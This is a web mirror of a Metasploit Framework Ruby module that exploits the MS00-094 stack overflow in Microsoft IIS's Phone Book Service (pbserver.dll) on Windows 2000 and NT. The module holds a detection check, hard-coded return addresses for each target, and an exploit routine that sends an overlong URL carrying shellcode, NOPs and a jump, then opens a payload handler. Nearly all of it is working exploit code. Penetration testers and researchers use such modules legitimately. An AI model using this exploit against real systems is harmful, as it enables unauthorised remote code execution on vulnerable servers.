CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/isapi/ms00_094_pbserver.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
14
'Description' => %q{
15
This is an exploit for the Phone Book Service /pbserver/pbserver.dll
16
described in MS00-094. By sending an overly long URL argument
17
for phone book updates, it is possible to overwrite the stack. This
18
module has only been tested against Windows 2000 SP1.
19
},
20
'Author' => [ 'aushack' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2000-1089' ],
25
[ 'OSVDB', '463' ],
26
[ 'BID', '2048' ],
27
[ 'MSB', 'MS00-094' ],
28
],
29
'Privileged' => false,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 896,
37
'BadChars' => "\x00\x0a\x0d\x20%&=?",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
44
['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
45
['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
46
],
47
'DisclosureDate' => '2000-12-04',
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
53
])
54
end
55
56
def check
57
print_status("Requesting the vulnerable ISAPI path...")
58
res = send_request_raw({
59
'uri' => normalize_uri(datastore['URL'])
60
}, 5)
61
62
if (res and res.code == 400)
63
return Exploit::CheckCode::Detected
64
end
65
return Exploit::CheckCode::Safe
66
end
67
68
def exploit
69
70
print_status("Sending overflow...")
71
72
res = send_request_raw({
73
'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
74
}, 5)
75
76
handler
77
78
end
79
end
80
81